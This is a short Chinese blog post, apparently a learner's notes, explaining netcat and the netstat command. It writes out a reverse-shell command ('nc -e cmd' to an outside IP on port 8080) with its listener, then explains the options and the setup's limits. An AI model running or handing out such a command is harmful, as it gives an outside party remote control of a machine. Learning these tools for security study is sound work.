即netcat 被誉为网络安全界的瑞士军刀,一个简单而有用的工具,通过使用 TCP 或 UDP 协议的网络连接去读写数据。
我们在自己内网windows电脑上安装好netcat,在cmd输入nc -e cmd 62.234.14.252 8080,
![]()
我们在外网linux上执行nc -lvp 8080监听本地的8080端口,然后

我们可以用外网服务器通过cmd操作内网电脑了。
exit是cmd的结束小黑框命令,所以exit和ctrl + c都可以终止本次连接。
看出两个问题:
-
中文乱码,如果目标系统的文件夹有中文,都cd不过去。
-
被控制端主动把自己交给控制端,要求两者在同一局域网内或控制端有公网IP
-e:在建立连接后执行一个命令。在此我们执行cmd老师说这串命令可以把自己的cmd交给62.234.14.252的8080端口。这是因为内网电脑使用
-e选项执行cmd命令,并将其输入/输出连接到外网电脑的nc进程,从而使外网电脑能够发送命令到内网电脑并接收返回的结果
-l选项表示nc将以监听模式运行,等待来自客户端的连接请求。,-v表示显示详细的输出信息。-p选项用于指定nc监听的端口号。
nc -lvp 8080和nc -lvvp 8080有区别吗
nc -lvvp 8080命令中的额外-v选项表示nc将以更详细的输出模式运行,提供更多的调试信息。这可能包括更详细的连接信息、数据传输的详细日志等。区别在于输出信息的详细程度。
如何查看centos的8080端口有没有进程占用
netstat -tuln | grep 8080
netstat -tuln的四个选项是什么意思
netstat命令用于显示网络连接、路由表和网络接口等网络相关信息。
-t:表示显示TCP连接信息。
-u:表示显示UDP连接信息。
-l:表示仅显示处于监听状态的连接。
-n:表示以数字形式显示IP地址和端口号,而不使用域名或服务名称。带选项n会显示fe80::5054:ff:fe6a::123,否则显示VM-8-9-centos:ntp
非特殊说明,本博所有文章均为博主原创。
共有 0 条评论